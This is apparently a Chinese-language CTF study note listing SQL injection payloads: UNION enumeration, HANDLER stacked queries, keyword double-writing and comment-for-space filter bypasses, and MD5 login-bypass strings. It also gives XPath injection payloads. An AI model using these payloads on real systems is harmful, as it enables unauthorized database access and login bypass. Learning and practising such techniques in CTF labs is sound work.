关于sql注入

查表

1
-1 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema="web7"),3

获取字段

1
-1 union select 1,(select group_concat(column_name)from information_schema.columns where table_schema="web7" and table_name="flag"),3

获取flag

1
-1 union select 1,(select flag from flag),3

获取flag

1
2
3
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
MD5 不光有ffifdyop 还有 129581926211651571912466741651878684928 也可达同样的效果
总之,相当于 select * from admin where password=''or ture

查询字段

1
1';show columns from 表名字;#

handler查询字段内文字

1
1';handler 字段名字 open;handler 字段名字 read 字段显示顺序(first);handler 字段名字 close;#

双写绕过

1
2
3
4
5
6
-1' oorrder bbyy 4 ;%23&password=1
-1' uunionnion sselectelect 1,2,3;%23&password=1234
-1' uunionnion sselectelect 1,2,3;%23&password=1234
-1' uunionnion sselectelect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database();%23&password=1
-1' uunionnion sselectelect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql';%23&password=1
-1' uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql;%23&password=1

空格绕过

1
2
3
1'/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema="web2"),3#
1'/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web2"/**/and/**/table_name="flag"),3#
1'/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3#

过滤#号用单引号闭合

1
2
3
4
-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

Xpath注入

什么是Xpath注入?

1
2
3
XPath语言是一种用于在XML文档中定位元素和属性的语言,可以进行类似于SQL注入的攻击,即XPath注入。XPath注入是指攻击者通过构造恶意的XPath查询语句,从而使应用对数据库进行不安全的查询,进而实现非法的数据查询和甚至篡改数据的攻击行为。

攻击者可以通过构建XPath语句来绕过应用程序验证,从而获取权限和数据。攻击者可以借助注入攻击来突破身份验证、读取其他用户的数据或删除数据,甚至可以对整个系统造成破坏性影响。

Xpath注入主要针对的数据应用?

1
2
XPath注入攻击是针对带有XML数据的应用程序的。因为XPath是一种用于在XML文档中定位元素和属性的语言,具有和SQL语言相似的特点。当开发者使用XPath语言定位XML文档中的元素和属性时,往往存在代码编写不规范、查询语句缺乏过滤、输入数据可控等问题,从而导致XPath注入攻击的风险。

Xpath定位

1
XPath定位是指利用XPath查询语句定位XML文档中的元素和属性。在XPath定位中,可以采用以下的语法规则来查询XML文档中的元素和属性:
表达式 描述
nodename 选取此节点的所有子节点。
/ 从根节点选取。
// 从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置。
. 选取当前节点。
选取当前节点的父节点。
@ 选取属性。

XPath 通配符

1
XPath 通配符可用来选取未知的 XML 元素。
通配符 描述
* 匹配任何元素节点。
@* 匹配任何属性节点。
node() 匹配任何类型的节点。

Xpath查询语句

1
$query="user/username[@name='".$user."']";

Xpath注入的用法

1
2
3
4
1、注入点:URL、表单或其它信息上附带恶意的 XPath 查询代码
2、注入漏洞验证:输入id=1'、id=-1看页面是否返回报错信息
3、注入万能公式:id=1' or 1=1 or ''='
4、万能访问xml文档所有节点的payload:']|//*|//*['
1
总之Xpath我现在还不是很了解,还需要进一步学习。